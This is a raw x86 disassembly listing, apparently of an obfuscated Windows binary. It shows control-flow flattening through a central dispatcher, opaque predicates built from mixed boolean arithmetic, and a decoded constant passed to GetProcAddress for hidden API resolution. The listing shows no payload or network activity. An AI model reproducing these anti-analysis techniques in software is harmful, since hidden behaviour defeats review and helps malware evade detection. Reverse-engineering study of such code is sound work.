lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xe253bdd
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0xf1dac422
and ecx, 0xe253bdd
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and ecx, 1
and edx, 0xfffffffe
and eax, 0xfffffffe
or ecx, eax
or ecx, edx
mov edx, ecx
xor edx, 0x693bab4c
mov eax, ecx
and eax, 0x4003ab00
and edx, ecx
not ecx
and ecx, 0x2938004c
or eax, ecx
mov ecx, eax
xor ecx, 0x20100
xor eax, 0xbffc54ff
mov esi, eax
and esi, 0xce05be66
and ecx, 0x213a0108
or ecx, esi
mov esi, edx
not esi
and edx, 0x31fa4199
or eax, esi
and esi, 0xce05be66
or edx, esi
not eax
mov esi, 0x61c8923f
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x693bab4c
and ecx, 0x96c454b3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb01f29a3
and ecx, 0x4fe0d65c
or eax, ecx
mov ecx, eax
xor ecx, 0x101029a1
xor eax, 0x6a08658
and eax, 0xa6af865a
and ecx, 0x595079a5
or ecx, eax
cmp ecx, 0x595079a5
setne ah
cmp dword [0x482580], 0xa
setge al
mov edx, eax
xor al, ah
or dl, ah
xor al, 1
mov ecx, edx
not cl
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, al
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xe9dc400b
cmovne eax, esi
test cl, 1
not dl
mov ecx, 0xe9dc400b
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401d70
mov eax, 0xc15a25b3
jmp 0x401d70
mov eax, 0xb1a882
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x902150c0
mov esi, ecx
mov edi, ecx
or esi, 0x2a409
and edx, 0x9023f4c9
and edi, 0x4d8c0932
and ecx, 0x93199709
or edi, edx
mov edx, eax
and esi, 0x9023f4c9
and edx, 0x22500204
and eax, 0x6ce668f6
or edx, esi
or eax, ecx
xor edx, edi
xor eax, 0x6ce668f6
mov esi, edx
not esi
and edx, 0x4d8ead3a
and esi, 0xb27152c5
or edx, esi
mov esi, edx
not esi
and edx, 0x5e5262fc
and esi, 0xa1ad9d03
or edx, esi
mov esi, 0xf66fa51a
xor edx, 0x5e5262fc
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4361999d
and ecx, 0xbc9e6662
or eax, ecx
xor eax, 0x4361999d
setne ah
sete dl
cmp dword [0x482580], 0xa
setl al
setge ch
mov cl, al
and ch, dl
or dl, al
xor al, ah
and cl, ah
mov ah, dl
xor ah, al
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x9a2abd55
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, esi
jmp 0x40cd07
mov eax, dword [ebp - 0x24]
mov eax, 0x4d113dee
jmp 0x401d70
cmp byte [ebp - 0x74], 0
mov eax, 0x7d049a3f
mov ecx, 0x26e96d65
cmovne eax, ecx
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x44829e01
and eax, 0xa304130
mov edx, ecx
or edx, 0xb14c204e
and esi, 0xf5cebe4f
and ecx, 0x10080
and edx, 0xf5cebe4f
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xb14d20ce
and ecx, 0x4eb2df31
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0xa06b0808
mov esi, ecx
or esi, 0x4f244
mov edi, ecx
and edx, 0xa06ffa4c
and edi, 0xb000481
or edi, edx
mov edx, eax
and esi, 0xa06ffa4c
and edx, 0x54900132
and eax, 0xeb885b99
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xb04f6c4
and esi, 0xf4fb093b
or edx, esi
mov esi, ecx
and esi, 0x1477a466
and ecx, 1
or esi, eax
xor esi, 0xeb885b98
or ecx, esi
mov esi, 0x42a1ea3a
not ecx
or ecx, edx
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x482580], 0xa
mov ch, dl
setl cl
setge al
or dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
or al, ah
mov ah, dl
xor ah, al
or al, dl
xor cl, 1
xor al, 1
or al, ah
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
mov ah, cl
xor dl, 1
xor ah, al
or al, cl
or dl, ch
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x284a3c06
cmovne ecx, esi
test al, 1
mov eax, 0x284a3c06
jmp 0x401d59
mov eax, 0xf096bbc8
jmp 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x594b6431
mov eax, ecx
and eax, 0x4a0020
and edx, ecx
not ecx
and ecx, 0x59016411
or eax, ecx
xor eax, 0x4a0020
or eax, edx
not edx
and edx, 0xa6b49bce
and eax, 0x594b6431
or eax, edx
mov edx, eax
xor edx, 0x312cef38
mov ecx, eax
not ecx
mov ebx, eax
and ebx, 0x8a400086
andn esi, eax, edx
and eax, 0x48c7a640
mov edx, esi
not edx
and esi, 0x9a4043a6
mov edi, edx
and edi, 0x65bfbc59
or esi, edi
mov edi, ecx
or edi, 0x312cef38
or ecx, 1
or edx, edi
and edi, 0x65bfbc59
and ecx, 0xb73859bf
or ebx, edi
not edx
or ecx, eax
mov edi, 0x31f842ac
xor ebx, esi
xor ecx, 0xb73859bf
or edx, ebx
mov esi, edx
not esi
and edx, 0xa99f09b
and esi, 0xf5660f64
or edx, esi
mov esi, 0x17dafa4d
xor edx, 0x3bb51fa2
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x49d74668
and eax, 0xb628b997
or eax, edx
xor eax, 0x49d74668
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x482580], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
or al, ah
mov ah, al
or al, dl
and cl, ch
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, dl
xor ah, 1
or dl, ah
and ah, cl
mov ecx, 0x31f842ac
or ah, al
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
cmovne ecx, edi
test al, 1
jmp 0x40a686
mov eax, dword [ebp - 0x1c0]
mov eax, dword [eax]
add eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov edx, dword [eax + ecx*4]
mov ecx, edx
xor ecx, 0xd70f22af
mov eax, edx
and eax, 0xc40b00a5
and ecx, edx
not edx
and edx, 0x1304220a
mov esi, ecx
not esi
and ecx, 0xc67a5693
or eax, edx
mov edx, eax
xor edx, 0xc40a0081
xor eax, 0x3bf4ff5a
mov edi, eax
or eax, esi
and esi, 0x3985a96c
and edi, 0x3985a96c
and edx, 0xc60a0283
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa5061fb
and ecx, 0xf5af9e04
or eax, ecx
mov ecx, eax
xor eax, 0x202808
xor ecx, 0xdd5f4354
mov edx, ecx
and eax, 0x15226918
and ecx, 0xeadd96e7
and edx, 0xffff0000
or ecx, eax
xor ecx, 0xeadd6918
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xbe940ec
and eax, 0xf416bf13
or ecx, eax
mov eax, ecx
xor eax, 0x8814048
xor ecx, 0x4060202
and eax, 0xf891fd59
and ecx, 0x76e02a6
or ecx, eax
mov eax, dword [ebp - 0x68]
xor ecx, 0x76e02a6
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov ecx, 0xe3d23ff9
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0
mov eax, 0x1f7e4b97
cmove eax, ecx
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4803622
and eax, 0x186f085c
and ecx, 0xe310c181
or edx, ecx
xor edx, 0x4803622
or eax, edx
mov ecx, eax
not ecx
and eax, 0xae04056b
and ecx, 0x51fbfa94
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x1842000
xor esi, 0xb66b0d37
xor eax, 0x1805240
mov ecx, esi
or ecx, 1
and esi, 0xcc30dffe
and edx, 0x33cf2001
and eax, 0x378a5276
or edx, esi
mov esi, ecx
and esi, 0xc875ad88
or eax, esi
mov esi, edx
xor esi, 0x338a0000
xor edx, 0xcc30dfff
or ecx, edx
and edx, 0xc875ad88
and esi, 0x378a5277
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x9f56deac
mov eax, ecx
not eax
and ecx, 0xdccfb2b1
and eax, 0x23304d4e
or ecx, eax
mov eax, ecx
xor eax, 0x40d20a0
xor ecx, 0x23304d4e
mov edx, ecx
and edx, 0xdbd29b1f
and eax, 0x242d64e0
or eax, edx
xor eax, 0x242d64e0
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x482580], 0xa
setge dl
xor al, dl
or cl, dl
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ah, cl
xor ah, al
and al, cl
and ah, cl
or al, dl
mov cl, ah
xor cl, al
mov ecx, 0x33f9f6c
jmp 0x40c86b
mov eax, dword [ebp - 0x68]
mov eax, 0x5cb3c248
jmp 0x401d70
mov eax, dword [ebp - 0x140]
mov edx, 0xecd4a50
movzx eax, word [eax + 2]
mov ecx, dword [ebp - 0x13c]
cmp ecx, eax
mov eax, 0xfd81f4d2
cmovl eax, edx
jmp 0x401d70
mov eax, dword [ebp - 0x50]
mov dword [eax], 4
mov eax, 0x27d5082a
jmp 0x401d70
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xa0d8f198
mov eax, ecx
and eax, 0x20482010
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x8090d188
or eax, esi
mov esi, 0x302628ba
xor eax, 0x20482010
or eax, edx
not edx
and edx, 0x5f270e66
and eax, 0xa0d8f199
or eax, edx
mov edx, eax
not edx
and eax, 0xd08eaaab
and edx, 0x2f715554
or eax, edx
xor eax, 0xd08eaaab
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x482580], 0xa
setl dl
xor cl, dl
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
jmp 0x40c84f
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x130], eax
mov eax, 0x6ea53776
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x14fa8bcf
mov esi, ecx
and esi, 0xeb057430
mov edi, ecx
or edi, 0x120459
and ecx, 0xc0f02ce9
or edx, esi
and edi, 0xc47e16db
mov esi, edx
xor edx, 0x410
xor esi, 0x800000
or edx, 0xc46c1282
and esi, 0x814000
and edx, 0xc47e16db
or esi, edx
mov edx, eax
and edx, 0x3b00a924
and eax, 0x3f0fd316
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0xe8314f99
and esi, 0x17ceb066
or edx, esi
mov esi, edx
xor edx, 0x1654d412
xor esi, 0xe8a20bc1
mov ecx, esi
and ecx, 0x90928ac
and edx, 0xf6f6d753
or edx, ecx
mov ecx, eax
xor ecx, 0x3606d312
xor eax, 0xc0f02ce9
or esi, eax
and eax, 0x90928ac
and ecx, 0xf6f6d753
or ecx, eax
not esi
xor ecx, edx
or esi, ecx
xor esi, 0xffffffff
sete ah
setne dl
cmp dword [0x482580], 0xa
setge al
mov ecx, eax
xor cl, dl
mov ch, cl
and cl, al
and ch, dl
mov dh, ch
xor ch, cl
xor cl, 1
xor dh, 1
or cl, dh
xor cl, 1
or cl, ch
mov ch, al
and al, ah
inc ch
and dl, ch
or ch, ah
or al, dl
mov dl, ch
xor al, 1
xor dl, al
or al, ch
mov ch, cl
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
mov dh, al
mov ah, dl
xor dh, 1
or dl, al
and ah, cl
xor ah, 1
xor ch, ah
or ah, cl
mov cl, al
and cl, dh
xor ah, 1
xor cl, 1
or ah, ch
mov ch, dl
or cl, dh
xor cl, 1
or cl, al
xor cl, ah
mov eax, 0xd59b6026
xor ch, cl
test dl, 1
mov edx, 0x94de07bd
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0xd59b6026
cmove eax, edx
jmp 0x401d70
mov eax, dword [ebp - 0xfc]
mov eax, 0x391bb2e8
jmp 0x401d70
mov eax, dword [ebp - 0x50]
mov dword [eax], 0x40
mov eax, 0x2ef0a16e
jmp 0x401d70
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ecx], eax
mov eax, 0x7e1d3a2f
jmp 0x401d70
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x44]
mov eax, 0x62b00aff
jmp 0x401d70
mov eax, 0xf1cb03e8
jmp 0x401d70
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xc4]
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x21809002
and eax, 0xca512540
mov edx, ecx
or edx, 0x102c0881
and esi, 0x31ac9883
and ecx, 0x402423c
and edx, 0x31ac9883
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x142e4abd
and ecx, 0xebd1b542
or eax, ecx
mov ecx, eax
mov edx, eax
or edx, 0x8a841064
not ecx
mov esi, ecx
or esi, 0x1521ce08
and edx, 0x9fa5de6c
and ecx, 0x60020090
or ecx, edx
mov edx, eax
and esi, 0x9fa5de6c
and edx, 0x582103
and eax, 0xfffffffe
or edx, esi
xor edx, ecx
mov ecx, edx
not ecx
and edx, 0x7523ce99
and ecx, 0x8adc3166
or edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe58f5cbd
and ecx, 0x1a70a342
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x317c6dc2
and ecx, 0xce83923d
or eax, ecx
xor eax, 0x2b0cce80
sete ah
setne dl
cmp dword [0x482580], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
mov ah, al
mov ch, cl
xor dl, 1
and ah, cl
xor ch, 1
or al, ch
and ch, dl
xor dl, cl
xor al, 1
or ch, ah
or al, dl
mov edx, 0x78c1eb34
mov cl, al
xor cl, ch
test al, 1
mov eax, 0x49d60020
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0x49d60020
cmove eax, edx
jmp 0x401d70
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x88], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x5c], eax
mov eax, 0x681d759a
jmp 0x401d70
mov eax, dword [ebp - 0x108]
mov eax, 0x3f010fc6
jmp 0x401d70
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x41825842
and eax, 0x558021
mov edx, ecx
and edx, 0x9e282280
or ecx, 0x810868c0
or esi, edx
and ecx, 0xa1086ddc
mov edx, esi
xor edx, 0x40821002
xor esi, 0xa008259c
or eax, ecx
and esi, 0xa1086ddc
and edx, 0x5ea21202
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xdfaa7ac2
and ecx, 0x2055853d
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0x88d846ec
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x7727b913
or eax, esi
mov esi, edx
not esi
and edx, 0x88d846ec
or ecx, esi
and esi, 0x7727b913
or edx, esi
not ecx
mov esi, 0x985a0bc0
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x40000484
mov edx, eax
and edx, 0x34591b02
and eax, 0x8ba6e079
or ecx, edx
xor ecx, 0x40000484
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa9a20760
and ecx, 0x565df89f
or eax, ecx
mov ecx, eax
xor ecx, 0x21820100
xor eax, 0x248f800
and eax, 0x8a68fe60
and ecx, 0x7597019f
or ecx, eax
xor ecx, 0x7597019f
setne dl
sete cl
cmp dword [0x482580], 0xa
setge al
setl ah
mov ch, al
and dl, ah
xor ch, cl
and ch, al
and al, cl
xor cl, ah
or al, dl
or al, ch
mov edx, eax
mov ah, al
and ah, cl
xor dl, 1
xor cl, 1
and dl, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
mov eax, 0x703d3952
cmovne esi, eax
test cl, cl
mov eax, 0x985a0bc0
cmovne eax, esi
test dl, dl
cmove eax, esi
jmp 0x401d70
mov eax, 0x7d049a3f
jmp 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x4ebfb863
mov edx, ecx
and edx, 0x88f1003
and eax, ecx
not ecx
and ecx, 0x4630a860
or edx, ecx
xor edx, 0x88f1003
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe1a2a22e
and ecx, 0x1e5d5dd1
or eax, ecx
mov edx, eax
xor edx, 0xaf1d1a4d
xor eax, 0x50e2e5b2
mov ecx, edx
mov esi, eax
and esi, 0xc10e8c5e
and ecx, 0x3ef173a1
and edx, 0xc449309c
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xbbf6a78d
and esi, 0x44095872
or ecx, esi
mov esi, eax
and esi, 0x3bb6cf63
and eax, 1
or esi, edx
xor ecx, 0x7af82bd2
xor esi, 0xc449309d
or eax, esi
not eax
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x6dfdceae
and edx, 0x92023151
or edx, esi
mov esi, ecx
not esi
and ecx, 0x92023151
or eax, esi
and esi, 0x6dfdceae
or ecx, esi
not eax
mov esi, 0x918a2fc
xor ecx, edx
or eax, ecx
sete al
setne dl
cmp dword [0x482580], 0xa
setl ah
setge ch
or ah, dl
or dl, ch
or al, ch
mov ecx, edx
mov ch, al
or al, ah
not cl
xor ch, ah
xor al, 1
and cl, dl
or al, ch
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x10c179d6
cmovne edx, esi
test al, 1
mov eax, 0x10c179d6
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xc
mov eax, 0x62bfb361
jmp 0x401d70
mov ah, byte [ebp - 0x71]
mov dh, byte [ebp - 0x72]
mov esi, 0x6a3fc371
mov al, ah
mov ch, ah
mov cl, dh
xor al, 1
and ch, al
mov dl, al
xor ch, 1
or dl, ch
or ch, ah
xor dl, 1
xor ch, 1
or dl, ah
or ch, al
mov ebx, edx
xor bl, 1
and bl, dh
xor dh, 1
and cl, dh
mov ah, dh
and dl, dh
xor cl, 1
xor ah, cl
or cl, dh
xor cl, 1
or cl, ah
mov ah, al
xor ah, dh
or dh, al
xor cl, ch
xor dh, 1
or dh, ah
xor dh, 1
or dh, dl
or dh, bl
mov al, dh
xor al, 1
and al, cl
xor cl, 1
mov dl, cl
xor dl, dh
and dh, cl
or dh, al
and dl, cl
mov eax, 0x49d3a2e7
mov cl, dh
xor cl, dl
test dh, 1
cmovne eax, esi
test dl, 1
mov edx, 0x49d3a2e7
jmp 0x40c13c
mov eax, dword [ebp - 0xb0]
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x1208088
mov esi, eax
mov edi, eax
or esi, 0x2a134a00
and edx, 0x2b33ca88
and edi, 0xc48c2001
and eax, 0xb776172
or edi, edx
mov edx, ecx
and esi, 0x2b33ca88
and edx, 0x10401576
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0xee9f6a00
and esi, 0x116095ff
or edx, esi
mov esi, edx
not esi
and edx, 0x78dc201e
and esi, 0x8723dfe1
or edx, esi
mov esi, edx
xor esi, 0x8542012
xor edx, 0x8723dfe1
mov edi, edx
or edx, ecx
and ecx, 0xf4889e8d
and edi, 0xf4889e8d
and esi, 0xb776172
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x3305e03f
or edx, eax
mov eax, edx
not eax
and edx, 0x4119a24d
and eax, 0xbee65db2
or edx, eax
xor edx, 0x4119a24d
sete cl
setne ah
cmp dword [0x482580], 0xa
setge dl
setl al
and ah, al
and dl, cl
or al, cl
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ah, al
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xbdcae65c
cmovne edx, esi
test al, al
mov esi, 0xbdcae65c
jmp 0x40bfd9
mov eax, dword [0x482584]
mov edi, 0x3ec368f0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x86c49b1a
mov edx, eax
and eax, 0x793b64e5
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x793b64e4
or eax, edx
mov esi, eax
or esi, 0x9140885d
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x6e0326a0
and ecx, eax
and esi, 0x9f41aafd
and edx, 0x60020400
or edx, esi
mov esi, ecx
not esi
and ecx, 0x60be5502
or eax, esi
and esi, 0x9f41aafd
or ecx, esi
not eax
mov esi, 0x7e1d3a2f
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x91fcd95f
and eax, 0x6e0326a0
or eax, ecx
setne dl
sete ah
cmp dword [0x482580], 0xa
mov ch, dl
setl al
setge cl
or dl, al
and ch, cl
and al, ah
or al, ch
xor dl, 1
xor al, 1
or al, cl
or cl, ah
xor cl, 1
xor al, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test cl, 1
mov ecx, 0x3ec368f0
cmovne ecx, esi
test al, 1
cmove ecx, edi
test dl, 1
cmove ecx, esi
mov eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0x60]
mov eax, 0x1d29c8bf
jmp 0x401d70
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x104]
mov eax, 0x6a6b4171
jmp 0x401d70
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, 0x17dafa4d
jmp 0x401d70
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov eax, 0xbdcae65c
jmp 0x401d70
mov eax, dword [ebp - 0x198]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x60]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, 0x592bf367
jmp 0x401d70
cmp byte [ebp - 0x7b], 0
mov eax, 0x3a879465
mov ecx, 0x3bb4051d
cmovne eax, ecx
jmp 0x401d70
mov eax, 0x4579b5c8
jmp 0x401d70
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1d8], eax
mov eax, 0xca90a753
jmp 0x401d70
mov eax, 0x6e830fc9
jmp 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xce04a346
mov edx, eax
and edx, 0x31fb5cb8
and eax, 0x9660f97
or esi, edx
mov edx, ecx
xor edx, 0xfffffffe
xor esi, 0xce04a346
and edx, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0xde6ab261
and esi, 0x21954d9e
or edx, esi
mov esi, edx
xor esi, 0x8620201
xor edx, 0x21954d9e
mov edi, edx
or edx, ecx
and ecx, 0xf699f068
and edi, 0xf699f068
and esi, 0x9660f97
or esi, edi
or eax, ecx
not edx
mov edi, 0xce9d6db3
xor eax, esi
mov esi, 0x1350a2dc
or edx, eax
cmp edx, 0xffffffff
sete cl
cmp dword [0x482580], 0xa
setl al
setge dl
mov ah, al
or al, cl
or dl, cl
xor ah, cl
xor al, 1
or al, ah
and ah, cl
xor ah, 1
mov cl, ah
or ah, dl
xor cl, dl
xor ah, 1
or ah, cl
mov ecx, eax
mov dl, ah
xor cl, 1
xor dl, 1
and cl, dl
or dl, al
and al, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xce9d6db3
cmovne eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x401d70
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov esi, dword [ebp - 0x28]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*4 + 0x10]
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx]
mov dword [ecx + edx*4], eax
mov eax, 0x75cad42c
jmp 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x10
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xf253730
mov esi, edx
and esi, 0xf0dac8ce
and edx, 0x62d66483
or eax, esi
mov esi, eax
xor esi, 0x2211520
xor eax, 0xf0dac8cf
mov edi, eax
and edi, 0x7d466ad0
and esi, 0x82b9952e
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x9d299b7c
mov ebx, edi
not ebx
and edi, 0x82b9952f
or ecx, edx
or eax, ebx
and ebx, 0x7d466ad0
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0x3b34cb34
and esi, 0xc4cb34cb
or esi, edx
mov edx, ecx
xor edx, 0x84091048
xor ecx, 0x62d66483
or eax, ecx
and ecx, 0x3b34cb34
and edx, 0xc4cb34cb
or edx, ecx
not eax
xor edx, esi
mov esi, 0x7051da73
or eax, edx
xor eax, 0xffffffff
sete ch
setne ah
cmp dword [0x482580], 0xa
mov cl, ch
setl al
setge dl
mov dh, al
or cl, al
and al, ah
xor dh, ch
and ch, dl
or dl, ah
or al, ch
xor dl, 1
and cl, dh
xor al, 1
or dl, dh
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, cl
xor ah, 1
mov edx, eax
and cl, ah
xor dl, 1
xor cl, 1
and dl, al
mov ch, cl
or cl, ah
xor dl, 1
xor ch, ah
xor cl, 1
or ah, al
or cl, ch
mov ch, dl
or dl, al
xor ch, al
xor dl, 1
mov al, ah
or dl, ch
mov ch, cl
xor ch, 1
and ch, dl
xor dl, 1
and dl, cl
or dl, ch
mov ecx, 0x6b8e93d7
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x6b8e93d7
cmove ecx, eax
mov eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0x100]
add eax, 0x68
mov dword [ebp - 0x1a0], eax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x1f218380
and ecx, 0x4c66
mov edx, eax
or edx, 0x40861019
and esi, 0x5fa79399
and eax, 0xa0582000
and edx, 0x5fa79399
or eax, esi
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0xe0de3019
and eax, 0x1f21cfe6
or ecx, eax
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0x1313117d
and ecx, 0xececee82
or ecx, eax
mov eax, edx
not eax
and edx, 0x25e4dd74
mov esi, eax
and esi, 0xda1b228b
or edx, esi
mov esi, ecx
xor esi, 0x24e4cc00
xor ecx, 0x1313117c
or eax, ecx
and ecx, 0xda1b228b
and esi, 0x25e4dd74
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x33710cb0
and eax, 0x80a207
